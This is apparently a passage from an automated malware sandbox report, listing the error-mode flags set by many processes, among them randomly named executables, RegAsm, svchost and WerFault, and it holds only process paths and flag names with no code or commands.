Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
